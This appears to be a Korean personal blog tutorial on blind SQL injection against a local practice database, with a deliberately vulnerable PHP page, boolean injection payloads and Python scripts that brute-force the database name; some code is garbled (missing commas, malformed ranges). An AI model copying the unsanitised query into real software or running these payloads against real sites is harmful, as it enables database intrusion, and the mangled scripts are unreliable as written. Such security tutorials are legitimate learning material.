DoR@Hee의 끄적끄적

Blind Sql Injection - 데이터베이스 이름 가져오기 본문

취약점 진단/WEB

Blind Sql Injection - 데이터베이스 이름 가져오기

DoR@Hee 2019. 3. 18. 20:25

1-1 Blind Sql Injection 이란?

- 일반적인 SQL Injection은 DB에서 도출되는 내부 오류를 이용해서 SQL 공격을 하지만 그러한 에러 구문이 안보일 경우 쿼리에 참, 거짓에 따라 다른 만들어내는 데이터를 기준으로 공격하는 방법


1-2 사전 준비







1. mysql > phpmyadmin 에서 Blind Sql injection 을 실습하기 위해서


DB: blind_db

table: sql_injection 을 생성한다.







테이블 안에는 미리 값을 넣어놨다.

"select * from sql_injection" 을 입력 후 결과


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
 
$conn = mysqli_connect("localhost""root""root","blind_db");
$no = $_GET['no'];
 
include 'index.php';
echo "<br>";
 
$userinfo = "SELECT * FROM sql_injection WHERE no =".$no."";
$useridoverlap=mysqli_query($conn$userinfo);
$user_db_check= mysqli_fetch_array($useridoverlap);
 
 
if($user_db_check){
 
echo "no: ".$user_db_check[0]."<br>";
echo "id: ".$user_db_check[1]."<br>";
echo "pw: ".$user_db_check[2]."<br>";
echo "email: ".$user_db_check[3]."<br>";
}
 
?>
cs


실습을 위해서 간단한 PHP 파일을 만들었다.




get으로 no 파라미터의 값을 받고 
그 값에따라서 정보를 보여주는 코드이다.




1 입력 시 참 값이기 때문에 

사용자의 정보를 출력하는것을 볼 수 있고.







2 and 1=1 을 입력 했을 때 쿼리는

where no = 2 and 1=1 이 들어가기 때문에 참 결과가 나온다.





만약 쿼리가 거짓일 경우에는 빈화면이 출력된다.


Blind sql injection 취약점이 존재하는것을 파악 완료


일단 database에 길이를 알아낸다.


1-2 DB 길이 알아내기



이렇게 쿼리를 입력 할 경우엔


"SELECT * FROM sql_injection WHERE no =1 and length(database())=1


이렇게 들어가고 참일 경우에는 



거짓일 경우에는 



참 값과 거짓값이 다른것을 이용



database에 길이를 알아낸다




mysql에서 쿼리를 입력 할 경우


1-3 DB 이름 알아내기




DB에 길이를 알아냈으니 DB에 이름을 알아내기위해서 "and substr(database(),1,1) = 'b'"라는 쿼리를 입력한다.

저렇게 쿼리를 입력 할 경우 php query문에서는 


"SELECT * FROM sql_injection WHERE no =1 and substr(database(),1,1) = 'b'"

이렇게 들어가는대 no = 1 이고 database에 이름에 첫 짜리가 b일 경우 참인 구문이다.



위 쿼리 구문은 참이기 때문에 결과값이 출력되고






mysql 에서 확인해본 결과 똑같이 나온다.





그걸 이용해서 database에 이름이 blind_db인 걸 확인하고 



참이라는걸 확인 할 수 있다.




DB이름 획득 성공


위 공격 실행방법은 노가다가 필요한 부분이기 때문에 


파이썬 코드를 작성해보면

1-4 길이를 알아내는 파이썬 코드


1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
 
for lengths in range(130):
    length = 0
    url = "http://localhost/index_ok.php?no=1%20and%20length(database())={0}".format(lengths)
    res = requests.get(url)
    if "1q2w3e4r" in res.text:
        print("=====================================")
        print("길이는{0}".format(lengths))
        print("=====================================\n")
        length = lengths
        break
    else:
        continue
cs




1-5 database에 값을 알아내내는 파이썬 코드

1
2
3
4
5
6
7
8
9
10
for i in range(1, length + 1):
    for j in range(33127):
        result = []
        url = "http://localhost/index_ok.php?no=1%20and%20ascii(substr(database(),{0},1))={1}".format(i, j)
        res = requests.get(url)
        if "email: a@" in res.text:
            print("{0}".format(chr(j)), end='')
            result.append(chr(j))
            break
 
cs




Comments